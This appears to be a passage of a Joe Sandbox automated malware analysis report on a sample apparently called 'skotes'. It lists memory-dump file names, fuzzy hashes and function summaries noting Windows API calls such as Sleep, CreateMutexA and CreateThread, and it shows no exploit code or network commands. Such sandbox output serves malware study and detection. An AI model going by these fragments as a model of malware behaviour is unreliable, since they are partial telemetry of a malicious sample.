Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: b7701b1f607ebb55994a4174a7749bade04e7878668fd26cf44f5a3bd00c4e54
Instruction ID: b9a2dcf1c8a7812fe44e895e2e52add3940dba88394a257ecfa2eb21048f76bf
Opcode Fuzzy Hash: b7701b1f607ebb55994a4174a7749bade04e7878668fd26cf44f5a3bd00c4e54
Instruction Fuzzy Hash: 4B316A717041448BEF18DB78DE89BDEB762EBC1314F28922CE014F76D5DB3699818652

Function 00EE6E4C Relevance: 3.1, APIs: 2, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ed986712abc5ba273c11eb2d79830ad607f41b801cb46ec6042be23b3ea6af7
Instruction ID: 43d2ed48a013b18819d50e84a5c3f53850c37ec25b9d1c95063e71bb0d6327ff
Opcode Fuzzy Hash: 5ed986712abc5ba273c11eb2d79830ad607f41b801cb46ec6042be23b3ea6af7
Instruction Fuzzy Hash: B721067290418C6BEB116BAA9C42B9F3769DF413B8F201211F9643B1D1EB709E058661

Function 00EBA960 Relevance: 3.0, APIs: 2, Instructions: 43sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,?), ref: 00EBA963
CreateMutexA.KERNEL32(00000000,00000000,00F13254), ref: 00EBA981

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 0838cbf94e36c6a14083d8409e790eae0e92e9f15074591c9ce63fd82d6bedf5
Instruction ID: 033a8cb159c2131fb08b353442c01ffd0cd456e205cbbeaf1b05c30c42aa1034
Opcode Fuzzy Hash: 0838cbf94e36c6a14083d8409e790eae0e92e9f15074591c9ce63fd82d6bedf5
Instruction Fuzzy Hash: BDE0261029E20495FA003B68A981BAF318497D1B0CF652524EA24F60C4C56055809023

Function 00EC6D00 Relevance: 3.0, APIs: 2, Instructions: 14sleepthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_00016C70,00000000,00000000,00000000), ref: 00EC6D10
Sleep.KERNEL32(00007530), ref: 00EC6D25

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSleepThread
String ID:
API String ID: 4202482776-0
Opcode ID: 967ba0c1359776c2252439993e5c882970b9bb83500540d9bf1937cf7b3b2627
Instruction ID: bd95da95acc6e8836d4a5e6c2d674eef2e358891179974d4d6f2914088d3249a
Opcode Fuzzy Hash: 967ba0c1359776c2252439993e5c882970b9bb83500540d9bf1937cf7b3b2627
Instruction Fuzzy Hash: F0D08C30BC4318F6F33013602D07F57AE20AB0AF01F266048B34C3F0D085E4350046AC

Function 00EB8380 Relevance: 1.7, APIs: 1, Instructions: 159COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00EB8524

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: d962953b6428d19277ec8d028991e295ea175ef5f478f77cf41d283dd97e4c96
Instruction ID: d9419a93ed0ac5f4dab4d0eecad302c474a0af165df2673f9569109a4f1ec3d4
Opcode Fuzzy Hash: d962953b6428d19277ec8d028991e295ea175ef5f478f77cf41d283dd97e4c96
Instruction Fuzzy Hash: 63514870D052089BEB24EB68CE45BDEB7B9EB45314F5052A8E819B73C1DF319E80CB91

Function 00EE7124 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON

Download Yara Rule

APIs

SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?,?,00EE705B,?,?,00000000,00000000), ref: 00EE7166

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
